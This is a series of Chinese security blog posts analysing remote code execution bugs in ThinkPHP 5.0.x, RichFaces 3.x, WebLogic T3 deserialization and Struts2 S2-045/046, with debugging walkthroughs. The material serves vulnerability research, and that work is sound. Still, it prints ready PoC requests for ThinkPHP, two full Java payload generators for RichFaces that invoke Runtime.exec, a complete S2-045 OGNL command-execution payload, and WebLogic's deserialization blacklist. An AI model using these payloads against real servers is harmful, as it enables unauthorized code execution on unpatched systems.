k1n9 发布的文章

主要成因为框架中的核心类 Request 中存在调用任意(其实不能算是任意)方法的点,通过构造可以做成 RCE。

这是 ThinkPHP 最近出的第二个影响比较大的 RCE 了,虽然对 ThinkPHP 不熟悉,不过这个洞的成因和利用还是比较有意思的,再加上已经好久没去分析 PHP 方面的漏洞了,写下分析当个记录了。全程是根据别人的分析静态跟代码加上在环境上测试完成的,没有做动态跟踪(懒得去弄了)。

0x00 影响版本

5.0 - 5.0.23

0x01 漏洞分析及利用构造

进入到漏洞关键点的执行流程:
thinkApp#run --> thinkApp#routeCheck --> thinkRoute#check --> thinkRequest#method

thinkRequest#method 具体代码如下
15473729803990.jpg

在前面的执行流程中调用到 method 方法的时候是不带参数的,所以这里的形参 $method 的实际值为 false,另外 Config::get('var_method') 的值来自于 convention.php 默认为 _method。虽然这里会把字符串变成大写,但是在 PHP 中方法名大小写不敏感,因此在图中的红框处就能实现 Request 中任意方法的调用(当然了得参数类型符合)。

这里选择的类 Request 中的方法为其构造方法,具体代码如下
15473735269495.jpg

选择这个方法主要是为了覆盖类 Request 中的成员变量的值,为后面的利用做准备。

再看 thinkRequest#param
15473764731378.jpg

当 mergeParam 为空时会调用到 get 方法,其实这里在执行 $this->method(true) 一样会调用到下面说的 input 方法,这里就跟下 get。跟进 thinkRequest#get
15473766009419.jpg

继续跟进 thinkRequest#input
15473784418751.jpg

data 的值来自 Request 中的 get(数组),所以会调用到 array_walk_recursive 函数,而这个函数设置的 callback 函数为 filterValue。漏洞的利用点就在 filterValue 中,其代码如下
15473770538854.jpg

主要就是用 call_user_func 来做成 RCE,因此 filter 和 value 的值需要可控,顺着调用流程往回看和结合前面提到的在构造方法中做覆盖的方法就能知道怎么去控制这两个变量的值。结合前面提到的 value 的值其实就来自于 Request 类中的 get,再来看 filter,很明显能知道 filter 的值来自 getFilter 方法的执行结果,thinkRequest#getFilter
15473776844182.jpg

这个方法的代码逻辑比较简单的,要控制 filter 的值的话,就只需要在 POST 请求中传个 filter 的值就行了。到这里可以知道的了 PoC 中需要构造的请求如下

POST
_method=__construct&mergeParam&=filter=system&get[]=id

接下来只要找到办法调用 thinkRequest#param 就可以完成整个利用了。thinkApp#run 中存在如下代码
15473814724342.jpg

所以要是在开启了调试模式的情况下用前面的构造好的请求就可以完成利用了,但是 23 版本在默认情况下是没有开启调试模式的,再看下在没有开启调试模式的情况下如何利用。

回看 thinkRoute#check 中调用 thinkRequest#method 往后的代码
15473837403175.jpg

这里的 method 的值其实就来自于 Request 类中的 method,因此可控。往下就是根据 method 的值来获取路由规则,这里需要用到验证码类(只在完整版中有,核心版中没有)中的一个路由规则,规则如下
15473840047609.jpg

所以要是想获取到这个路由规则就得传参 s=captcha 来完成类的自动加载同时设置 method 的值为 get。这里获取这个路由规则的主要目的是为了完成漏洞的利用,往下跟就明白了。接下来的执行流程为 thinkRoute#checkRoute --> thinkRoute#checkRule --> thinkRoute#parseRule

parseRule 方法中的部分代码
15473843616071.jpg

这里主要是根据路由规则的格式返回不同的结果,这里返回的结果中 type 为 method。结果返回赋值给 thinkApp 类中的 dispatch。往下跟进 thinkApp#exec
15473845582371.jpg

可以看到这里就能成功调用到了漏洞利用需要的 param 方法。

0x02 PoC

开启调试模式

POST /index.php
_method=__construct&filter=system&get[]=id

关闭调试模式

POST /index.php?s=captcha
_method=__construct&filter=system&get[]=id&method=get

另外一种控制 value 的方法

_method=__construct&filter=system&server[REQUEST_METHOD]=id&method=get

0x03 参考

影响:3.x ~ 3.3.4(3.x 中最高的版本,官方在 2016 年已经停止维护该项目)

据漏洞的描述为可以通过 org.ajax4jsf.resource.UserResource$UriData 构造恶意的反序列化数据(里面插入 EL 来执行代码),从而攻击者可以在未认证的情况下实现远程代码执行的效果。

0x00 RichFaces 中的反序列的点

从官网下载 richfaces-demo-3.3.4.Final.war 作为测试对象,

在 BaseFilter#doFilter 中检测是否为资源服务请求(这是个人理解,对 RichFaces 并不熟悉)处下一个断点开始跟踪调试
15427022640117.jpg

往前跟到进入 WebXml#getFacesResourceKey
15427026563585.jpg

这个方法传入的参数就是 url,然后通过 url 的开头和三种资源的前缀来对比区分请求的资源类型,这三种资源前缀分别为
15427036977030.jpg

再加上版本号,接下来是截取了相应的前缀和后缀(.jsf)后将中间的值返回

继续往下跟进入 InternetResourceService#serviceResource 就是用前面获取到的返回值作为 resourceKey 去找相对应的 resource
15427041299719.jpg

往下跟的时候发现前面传进来的 resourceKey 还会根据 DAT(A|B) 来截取一次作为 key
15427043052359.jpg

15427044297694.jpg

这里就有一开始看这个洞的时候比较疑惑的一点,org.ajax4jsf.resource.UserResource 没有注册,直接会抛出上图中的那个异常了。也没找到这个流程中能注册 resource 的点,还以为是得修改服务端的配置添加这个 resource 了,后来看了别人的文章才发现在 MediaOutputRenderer#doEncodeBegin 中有对 UserResource 的创建,它是在对 jsf 的 mediaOutput 标签解析中执行的。在 demo 中动态生成图片处查看它的 url
15427054314245.jpg

因此在利用的过程中需要用到 demo 中这个已经注册的 UserResource 的 key,在这里是 org.ajax4jsf.resource.UserResource/n/s/-1487394660,如果这里的 key 是已经注册了的就可以继续往下跑了,到进入 ResourceBuilderImpl#getResourceDataForKey
15427060202144.jpg

这个方法的大体流程为截取 DAT(A|B) 后的数据进行解密,然后做反序列化,代码中其实可以看到只有是 DATA 的时候才会做反序列化,DATB 是直接作为对象数组处理了。这里处理输入流的类重写了 resolveClass 方法,做了白名单的检测,要用到的 org.ajax4jsf.resource.UserResource$UriData 就在白名单中,就不跟过去看了。

这个洞的利用并不是反序列化来触发的,触发点还在后面。

0x01 触发 EL 执行

接下来的执行流程还是在 InternetResourceService#serviceResource 中,将反序列化获取到的对象存入 resourceContext 中,往下直到进入
15427068875547.jpg

这其中还是有条件判断是否能执行到这一步,不过默认的情况下没看到有影响。跟下去会发现调用到了 UserResource#send,最终在 invoke 处执行了 EL
15427074448583.jpg

上面这个只是 EL 执行的其中一处,看 InternetResourceBase#sendHeaders
15427722193786.jpg

红圈的这两处其实就是调用的 UserResource#getLastModified 和 UserResource#getExpired,这三处都是可以执行 EL 的,执行流程中的顺序为 UserResource#getLastModified、UserResource#getExpired 和 UserResource#send。

0x02 PoC

简单修改了一下随风师傅的 PoC,改成了在 UserResource#getLastModified 处触发执行

package javax.faces.component;

import org.ajax4jsf.util.base64.Codec;
import util.Reflections;

import javax.el.ValueExpression;
import org.jboss.el.ValueExpressionImpl;
import javax.faces.FacesException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.zip.Deflater;

/**
 * Created by k1n9 on 2018/11/21 at 11:19.
 */
public class CVE201814667 {
    private static Codec codec = new Codec();

    protected static byte[] encrypt(byte[] src) {
        try {
            Deflater compressor = new Deflater(1);
            byte[] compressed = new byte[src.length + 100];
            compressor.setInput(src);
            compressor.finish();
            int totalOut = compressor.deflate(compressed);
            byte[] zipsrc = new byte[totalOut];
            System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
            compressor.end();
            return codec.encode(zipsrc);
        } catch (Exception var6) {
            throw new FacesException("Error encode resource data", var6);
        }
    }

    public static void main(String[] args) throws Exception {
        String expr = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /applications/calculator.app\")}";

        Class cls = Class.forName("org.ajax4jsf.resource.UserResource$UriData");
        Constructor ct = cls.getDeclaredConstructors()[0];
        ct.setAccessible(true);
        Object obj = ct.newInstance();

        ValueExpression ve = new ValueExpressionImpl(expr, null, null, null ,null);
        StateHolderSaver stateHolderSaver = new StateHolderSaver(null, ve);

        Reflections.setFieldValue(obj, "modified", stateHolderSaver);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);

        byte[] output = encrypt(bos.toByteArray());
        System.out.println(new String(output, "ISO-8859-1"));
    }
}

更新份 RF-14310 PoC

package javax.faces.component;

import org.ajax4jsf.util.base64.Codec;
import org.jboss.seam.jsf.UnifiedELMethodBinding;
import util.Reflections;

import javax.faces.FacesException;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.zip.Deflater;

/**
 * Created by k1n9 on 2018/11/30 at 11:29.
 */
public class RF14310 {
    private static Codec codec = new Codec();

    protected static byte[] encrypt(byte[] src) {
        try {
            Deflater compressor = new Deflater(1);
            byte[] compressed = new byte[src.length + 100];
            compressor.setInput(src);
            compressor.finish();
            int totalOut = compressor.deflate(compressed);
            byte[] zipsrc = new byte[totalOut];
            System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
            compressor.end();
            return codec.encode(zipsrc);
        } catch (Exception var6) {
            throw new FacesException("Error encode resource data", var6);
        }
    }

    public static void main(String[] args) throws Exception {
        String expr = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /applications/calculator.app\")}";

        Class cls = Class.forName("org.richfaces.renderkit.html.Paint2DResource$ImageData");
        Constructor ct = cls.getDeclaredConstructors()[0];
        ct.setAccessible(true);
        Object obj = ct.newInstance();

        MethodBinding mb = new UnifiedELMethodBinding(expr, null);
        StateHolderSaver stateHolderSaver = new StateHolderSaver(null, mb);

        Reflections.setFieldValue(obj, "_paint", stateHolderSaver);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);

        byte[] output = encrypt(bos.toByteArray());
        System.out.println(new String(output, "ISO-8859-1"));
    }
}

0x03 参考

0x00 前言

上周出的 WebLogic 反序列漏洞,跟进分析的时候发现涉及到不少 Java 反序列化的知识,然后借这个机会把一些 Java 反序列化的利用与防御需要的知识点重新捋一遍,做了一些测试和调试后写成这份报告。文中若有错漏之处,欢迎指出。

0x01 Java 反序列化时序

Java 反序列化时序对于理解 Java 反序列化的利用或是防御都是必要的,例如有些 Gadget 为什么从 readObject 方法开始进行构造,为什么反序列化防御代码写在 resolveClass 方法中等。先写下三个相关的方法。

1.1 readObject

这个方法用于读取对象,这里要说的 readObject 跟很多同名的这个方法完全不是一回事的,注意下图中的方法描述符跟其它同名方法的区别。
15402112567047.jpg

java.io.ObjectInputStream 类的注释中有提到,要是想在序列化或者反序列化的过程中做些别的操作可以通过在类中实现这三个方法来实现。比如类 EvilObj 实现了这里的 readObject 方法(方法的描述符需要跟注释提到的一样)的话,在类 EvilObj 的反序列化过程就会调用到这个 readObject 方法,代码例子:
code-1.png

其调用栈如下
15402123297296.jpg

看下 readSerialData 方法,在读取序列化数据的时候做判断若是该类实现了 readObject 方法,则通过反射对该方法进行调用。
15402125446525.jpg

到这里就能明白为什么有些 Java 反序列化利用的构造是从这里 readObject 方法开始的,然后通过 readObject 中的代码一步一步去构造最终达成利用,这次的 CVE-2018-3191 就是很好的一个例子,后文会讲到 CVE-2018-3191 使用的 Gadget。当然这只是 Java 反序列化利用构造的其中一种方法,更多的可以参考 ysoserial 里的各种 Gadget 的构造。

1.2 resolveClass 和 resolveProxyClass

这两个方法都是在类 java.io.ObjectInputStream 中,resolveClass 用于根据类描述符返回相应的类,resolveProxyClass 用于返回实现了代理类描述符中所有接口的代理类。这两个类的功能使得它们可以被用于 Java 反序列的防御,比如在 resolveClass 方法中可以先对类名进行检测然后决定是否还要继续进行反序列化操作。如果想要在这两个方法中添加一些操作(比如前面提到的做反序列化防御),那处理数据流的类需要继承 java.io.ObjectInputStream ,然后重写下面对应的方法:

protected Class<?> resolveClass(ObjectStreamClass desc)
protected Class<?> resolveProxyClass(String[] interfaces)

这里需要避免混淆的一点是这两个方法是在处理数据流的类中重写,而不是在被反序列化的类中重写,代码例子:
code-2.png

其调用栈如下
15402673350909.jpg

同理 resolveProxyClass 的重写方式也是这样。这里要知道的一点是并非在 Java 的反序列化中都需要调用到这两个方法,看下调用栈前面的 readObject0 方法中的部分代码:
15404506408994.jpg

看 switch 代码块,假如序列化的是一个 String 对象,往里跟进去是用不到 resolveClass 或 resolveProxyClass 方法的。resolveProxyClass 方法也只是在反序列化代理对象时才会被调用。通过查看序列化数据结构非常有助于理解反序列化的整个流程,推荐一个用于查看序列化数据结构的工具:SerializationDumper

1.3 反序列化时序

贴一张廖新喜师傅在“JSON反序列化之殇”议题中的反序列化利用时序图,用于从整体上看反序列化的流程。
15404527039551.jpg

普通对象和代理对象的反序列化走的流程是不一样的,可以看 readClassDesc 方法:
15402783134410.jpg

对应着前面时序图中实例化的那一步的不同流程。

1.4 小结

这一章主要是介绍了 Java 反序列化相关的三个方法,通过代码跟踪调试的方式来确定其在什么时候会被调用到,再结合反序列化的时序图就可以对反序列化的整个流程有一定的了解。其实去分析了下反序列化的时序主要是为了知道两点,第一个是反序列化的大体流程,第二个是有哪些方法在这流程中有被调用到,为了解 Java 反序列化的利用和防御做一些知识准备。

0x02 WebLogi T3 反序列化及其防御机制

T3 从 WebLogic 的启动到对消息进行序列化的调用栈(由下往上):

at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:73)
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:45)
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283)
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:214)
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498)
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:348)
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:394)
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:960)
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:897)
at weblogic.socket.PosixSocketMuxer.processSockets(PosixSocketMuxer.java:130)
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29)
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42)
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117)

这里没有去分析 T3 协议的具体实现,抓了一下 stopWebLogic.sh 在执行过程中的数据包:
15403896997861.jpg

第一个是握手包,然后第二个包中就可以找到带有序列化数据了,包的前 4 个字节为包的长度。替换序列化数据那部分,然后做数据包重放就可以使得 T3 协议反序列化的数据为自己所构造的了。

2.1 WebLogic 的反序列化防御机制

从调用栈可以知道是在哪里做的反序列化,InboundMsgAbbrev 类的 readObject 方法:
15399310841084.jpg

留意下这里的 readObject 方法的描述符,跟前一章提的 readObject 方法描述符是不一样的,也就是说假如反序列化一个 InboundMsgAbbrev 对象,这里的 readObject 方法是不会被调用到的。这里的 readObject 只是在 T3 协议处理消息的代码流程中被使用到。

可以看到处理输入数据流的类为 ServerChannelInputStream,由前一小节知道输入流是可以被控制的,接下来就是实例化 ServerChannelInputStream 对象然后进行反序列化操作。先看下 ServerChannelInputStream 类:
15402803983920.jpg

ServerChannelInputStream 类的继承图:
15404454359913.jpg

可以得知 ServerChannelInputStream 类是继承了 ObjectInputstream 类的,并且重写了 resolveClass 和 resolveProxyClass 方法。由上一章的内容可以知道 ServerChannelInputStream 类中的这两个方法在对不同的序列化数据进行反序列化的时候会被调用到,这样就不难理解 WebLogic 为什么会选择在这两个方法中添加做过滤的代码了(其实之前出现的针对反序列化的防御方法也有这么做的,重写 ObjectInputstream 类中的 resolveClass 方法或者直接重写一个 ObjectInputstream)。

先说一下 resolveProxyClass 这个方法里为什么用代理的接口名字和 "java.rmi.registry.Registry" 进行对比,这个是 CVE-2017-3248 漏洞的补丁。CVE-2017-3248 漏洞的利用用到 JRMPClient 这个 Gadget,ysoserial 中的 JRMPClient 用到了动态代理,代理的接口就是 "java.rmi.registry.Registry"。针对这个就出现了不少的绕过方法,比如换一个接口 java.rmi.activation.Activator,或者直接不使用代理都是可以的。这里涉及到了 JRMPClient 这个 Gadget 的具体构造,但这不属于本文的内容,想了解这个的话建议去看 ysoserial 中具体是如何构造实现的。

resolveClass 方法中的 checkLegacyBlacklistIfNeeded 方法是用来针对类名和包名做过滤。

从 checkLegacyBlacklistIfNeeded 方法跟进去直到进入 WebLogicObjectInputFilter 类的 checkLegacyBlacklistIfNeeded 方法:
15399336903489.jpg

可以看到这里是在 Jre 自带的过滤(JEP290)不可用的情况下才会使用自身实现的方法进行过滤,如果检测到是在黑名单中会抛出异常 Unauthorized deserialization attempt。看下 isBlacklistedLegacy 方法:
15399346548214.jpg

可以看到要是类名第一个字符为 [(在字段描述符中是数组)或是 primitiveTypes(一些基础数据类型)中的其中一个,是不会进行检测的。
15399347598786.jpg

检测的地方有两个,一个是类名,一个包名,只要其中一个出现在 LEGACY_BLACKLIST 中便会像前面看到的抛出异常。下面来看一下 LEGACY_BLACKLIST 的值是从哪里来的。

看 WebLogicObjectInputFilter 的一个初始化方法:
15403510217440.jpg

在 Jre 的过滤不可用的情况下会设置 LEGACY_BLACKLIST 的值,跟入 getLegacyBlacklist 方法:
15403530493742.jpg

值来自于 WebLogicFilterConfig 类的成员变量 BLACKLIST,BLACKLIST 的值由 constructLegacyBlacklist 方法生成:
15403532167898.jpg

这里的参数var1,var2 和 var3 对应着
15403534401312.jpg

也就是说还可以通过启动参数来控制是否添加黑名单,动态添加或删除一些黑名单。默认情况下的话黑名单就是来自 WebLogicFilterConfig 类中的 DEFAULT_BLACKLIST_PACKAGES 和 DEFAULT_BLACKLIST_CLASSES 了。

打了十月份补丁之后的黑名单如下:

private static final String[] DEFAULT_BLACKLIST_PACKAGES = new String[]{"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server"};
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler", "com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.RemoteObject"};

2.2 WebLogic 使用 JEP290 做的过滤

JEP290 是 Java9 新添加可以对序列化数据进行检测的一个特性。之后往下对 8u121,7u131 和 6u141 这几个版本也支持了。该特性可用于对序列化数据的最大字节数,深度,数组大小和引用数进行限制,当然还有对类的检测了。使用这个的方法可以为实现 ObjectInputFilter 接口(低版本的 JDK 只在 sun.misc 包中有这个类,Java9 以上在 java.io 包中,目前 Oracle 对 Java9 和 Java10 都停止支持了,最新为 Java11),然后重写 checkInput 方法来对序列化数据进行检测。高版本的 JDK 中 RMI 就有用到这个来做过滤,看下 WebLogic 是如何使用的,JDK 版本为 8u152。

WebLogic 是通过反射来获取到 java.io.ObjectInputFilter 或是 sun.misc.ObjectInputFilter 的各个方法的方式来实现一个 JreFilterApiProxy 对象:
15403644532763.jpg

determineJreFilterSupportLevel 方法:
15403644821644.jpg

后面的流程大抵如下,根据 DEFAULT_BLACKLIST_PACKAGES 和 DEFAULT_BLACKLIST_CLASSES 的值来给 WebLogicFilterConfig 对象中的成员变量 serialFilter 赋值,serialFilter 的值是作为 JEP290 对序列化数据进行检测的一个格式(里面包含需要做检测的默认值,用分号隔开。包名后面需要带星号,包名或者类名前面带感叹号的话表示黑名单,没有则表示白名单。这些在 ObjectInputFilter 这个接口的方法中都能看到)。接下来就是反射调用 setObjectInputFilter 方法将 serialFilter 的值赋给 ObjectInputStream 中的 serialFilter(假如 ObjectInputStream 对象中的 serialFilter 值为空是不会对序列化数据进行检测的)。看一下 WebLogic 设置好的 serialFilter:
15403642280281.jpg

再看 ObjectInputStream 这边,图的左下可以看到从反序列化到进入检测的调用栈:
15403790311440.jpg

跟入 checkInput 方法:
15403793391508.jpg

前面有些常规的检测,红圈部分是针对 serialFilter 里的格式进行检测的,这里用到了 Function<T, U> 接口和 lambda 语法。看下 ObjectInputFilter 接口中的内部类 Global 的代码块就能明白这里是咋做的检测了。
code-3.png

看到它是做的字符串对比(类名和包名)。再回到 ObjectInputStream 类中的 filterCheck 方法代码块的下面:
15403859628982.jpg

只要返回的状态是空或者 REJECTED 就直接会抛出异常结束反序列流程了。其它的返回状态只做一个日志记录。

2.3 小结

这一章中可以看到 WebLogic 针对反序列化的防御方法有两种,分别对应着 JEP290 不可用和可用的这两种情况。JEP290 这个的代码逻辑还是挺长的,所以在写分析的时候并没有把每一步的具体内容都写上。这两种方法都是用黑名单的方式来做的过滤,其实它们也不是不能做成白名单,个人觉得白名单的方式应该很容易影响程序的功能,因为 Java 中各种接口和类的封装导致搞不清在反序列化的时候会用到哪些接口或类,所以写代码的时候不好去确定这样一个白名单出来。目前来看这样的过滤方式只有说是在找到新的 Gadget 的情况下才能绕过,从另一个角度来看这样的过滤也使得这里会一直存在问题,只是问题还没被发现。

0x03 WebLogic 远程调试及10月补丁修复的漏洞

3.1 WebLogic 远程调试

修改 domain/bin/setDomainEnv.sh,设置 debugFlag 为true

15403872264848.jpg

这样启动的时候会监听 8453 作为调试端口,然后使用 Idea 之类的 IDE 建立一个远程调试的配置连接到该端口就可以。需要把 WebLogic 中 jar 包添加到项目中去。因为 WebLogic 没有源码,调试时的代码都是反编译得到的,所以有监控不到变量或者执行的位置跟代码行对不上的问题。

3.1 CVE-2018-3245

这个洞是 7 月份 CVE-2018-2893 的补丁还没有修复完善导致的绕过,涉及到 JRMPClient 这个 Gadget 的构造,具体可以参考Weblogic JRMP反序列化漏洞回顾

这里提一点,黑名单中添加的类名不是直接序列化对象的类名而是它的父类类名能做到过滤效果的原因是在序列化数据中是会带上父类类名的。

3.2 CVE-2018-3191

这个 Gadget 不是新的,只是在 com.bea.core.repackaged.springframework 这个包里还有相关的类。

结合第一章提到的 readObject 这个 Gadget 是非常好理解的,只是还需要知道 JNDI 的利用方式才能完整实现利用。

com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager 这个类在进行反序列化的时候会触发 JNDI 查询,结合针对 JNDI 的利用便可以做到代码执行的效果。

JtaTransactionManager 类的 readObject 方法:
15398727089513.jpg

进入 initUserTransactionAndTransactionManager 方法:
15398732871590.jpg

进入 lookupUserTransaction 方法再往下跟很快就可以看到 JDNI 的查询方法 lookup:
15398737589850.jpg

针对 JNDI 的一个利用前提便是 lookup 方法的参数可控,即 name 的值能被传入成一个 RMI 或者 LDAP 的绝对路径。从前面的代码可以知道这里的 name 的值来自于 JtaTransactionManager 类中的成员变量 transactionManagerName,因此只要设置 transactionManagerName 值为可控的 RMI 地址,然后将 JtaTransactionManager 对象序列化后通过 T3 协议传输给 WebLogic 便可以在 T3 协议对数据进行反序列化的时候完成利用。

利用演示:
15398706744487.jpg

因为是针对 JDNI 的利用,所以要想在默认的情况下进行利用需要 JDK 的版本小于 8u121 或者 7u131(因为高于这些版本默认情况下已经将 trustURLCodebase 的值设为 false,使得不能做远程类加载),同时服务器需要能够连接外网。

0x03 参考

https://www.nccgroup.trust/us/our-research/combating-java-deserialization-vulnerabilities-with-look-ahead-object-input-streams-laois/
https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg

这是以前要写的一篇分析了,当时想的是着重分析 OGNL 的安全防护和怎么绕过的,因为针对漏洞本身的分析很多人已经写了。可惜也不是写的很细,先放这吧

摘要

3月6日,Struts2发布了关于S2-045的漏洞公告,提及到可以通过构造好的Content-Type值来实现远程代码执行攻击,影响的版本为Struts2 2.3.5 - Struts2 2.3.31,Struts2 2.5 - Struts2 2.5.10。由于在默认的情况下便可触发漏洞,并且有人发出了可以实现命令执行的Payload导致该漏洞的影响不仅广而且利用成本低,从一些SRC平台上对该漏洞的提交情况也可以看出这一点。随后在20日出来的S2-046是在S2-045的基础上的其它触发点了。由于该漏洞造成的影响非常广,所以值得对该漏洞进行一个回顾。

Struts2 及漏洞相关背景

Apache Struts2 是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了 Java Servlet API,鼓励开发者采用MVC架构。缘起于 Apache Struts 的 WebWork 框架,旨在提供相对于 Struts 框架的增强和改进,同时保留与 Struts 框架类似的结构。2005 年 12 月,WebWork 宣布 WebWork 2.2 以 Apache Struts2 的名义合并至 Struts。(摘自维基百科)
由于 Struts2 中的 OGNL 引擎功能比较强大,可通过其来访问 Java 对象的成员变量或方法,如果输入点可控便会造成安全问题。尽管 Struts2 也有安全管理器来避免通过 OGNL 来执行命令等一些危险的操作,但是该安全管理器也是一次又一次的被绕过。

S2-045 漏洞详情

可先借助 javaagent 来查看漏洞利用过程的调用栈
01.png

可以看到大体的流程为:
FileUploadInterceptor.intercept() --> LocalizedTextUtil.findText() --> LocalizedTextUtil.getDefaultMessage() --> TextParseUtil.translateVariables() --> OgnlTextParser.evaluate()

使用 javaagent 来查看调用栈的好处在于只有 payload 和漏洞环境的情况下就可以大致知道漏洞的利用过程,方便接下来做动态分析。下面再使用动态分析的方式来跟一下漏洞利用的整个过程,struts2 会在 StrutsPrepareFilter 过滤器中将 HttpServletRequest 请求封装成 StrutsRequestWrapper 或是 MultiPartRequestWrapper。而这个漏洞就是发生在对 MultiPart 请求的处理上,在 StrutsPrepareFilter 类中的 doFilter 方法中下断点即可。对于这里 Get 或是 Post 请求都是一样的
02.png

往下跟会进入 wrapRequest 方法
03.png

在这个方法中可以看到它是通过请求头中 Content-Type 的值中是否包含 “multipart/form-data” 来决定该请求是否为 MultiPart 请求,这也是为什么 payload 在 Content-Type 中需要包含 “multipart/form-data” 的原因,同时也说明了在利用的时候并不需要去构造一个上传文件的包了,只需要在请求中修改 Content-Type 的值包含 “multipart/form-data” 就行。接着通过 getMultiPartRequest 方法来获取 MultiPart 请求的处理类。
04.png

可以看到该方法从容器中获取了名字为 multipartHandlerName 的值的一个实例来作为处理器。而 multipartHandlerName 的值来自于配置中的 struts.multipart.parser 的值,该值默认为 ”jakarta“,也就是说最终获取到的是一个 JakartaMultiPartRequest 类的实例,而问题就是出现在该类中,这也解释了为啥这个漏洞能影响这么大,因为在默认的情况下就可以被利用。

继续往下跟的时候会进入 JakartaMultiPartRequest 类中的 parseRequest 方法,再跟入 FileItemIteratorImpl 类中的构造方法
05.png

可以看到这里有一个对 ContentType 的值得判断,要不是以 “multipart/” 开头的话便会抛出一个 InvalidContentTypeException 的异常,跟下去看它对这里的异常信息是如何处理的,因为这个异常信息里是包含着 Content-Type 的值的,也就是说里面包含着 payload 中构造好的 OGNL 表达式。再往下跟直到 OGNL 表达式执行就是一开始通过 javaagent 看到的调用栈中的过程了,看一下 translateVariables 方法
06.png

会通过以 $ 或是 % 字符开头来提取出真正的表达式,所以在 payload 中使用 ${} 来写一样是可以的。

S2-046 漏洞详情

S2-046 是在 S2-045 的基础上的,只不过是触发点不一样了。流程跟 S2-045 的流程一样,在 Streams 类中的 checkFileName 方法会对文件名进行检查,若是包含空字节的话会抛出 InvalidFileNameException 异常
13.png

其中异常信息含有完整的文件名,这里的异常信息也经过了和 S2-045 一样的处理,也就是说文件名中的 OGNL 表达式也会被执行。针对该漏洞的利用只需要在模拟文件上传时在 Content-Disposition 的 filename 中加入空字节,并将 OGNL 表达式写到 filename 就好。S2-046 还有一个触发方式是 Content-Length 长度超过 2M,但是这种触发需要配置 struts.multipart.parser 为 jakarta-stream 才行。

官方修复

Struts2 2.5.10.1
14.png

Struts2 2.3.32
15.png

都删掉了直接把错误信息传入 findText 函数的做法。

payload 分析

这是当时出来的一个 payload

%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

跟了整个执行过程之后可知 “multipart/form-data” 其实只要不放在最开始的地方就好了,后面是通过系统名字来判断系统类型,执行命令后在通过 Response 来获取输出。对 payload 的分析关键在于这里它是如何绕过 Struts2 的安全管理器的。

跟踪下创建 OGNL 上下文的过程
08.png

对于 OGNL 的执行存在限制的三个变量都在 _memberAccess 中。allowStaticMethodAccess 是否允许访问静态方法,该值来自于配置 default.properties 中,默认为 false。excludedClasses 和 excludedPackageNames 为排除的类和包名,它们的值来自于配置 struts-default.xml 中,在 2.5.10 中为
09.png

在 S2-032 的 payload 中只用到了一句话就绕过了安全管理器

#[email protected]@DEFAULT_MEMBER_ACCESS

对静态成员变量的访问是不受限的,可以看下 DEFAULT_MEMBER_ACCESS 的值
10.png
11.png

可以看到如果拿 DEFAULT_MEMBER_ACCESS 来覆盖 _memberAccess 的值的话便不会包含到限制 OGNL 执行的三个变量,这样是可以做到绕过安全管理器的,至于这里的 _memberAccess 至于为啥能被修改可以看参考中随风的博客的链接。

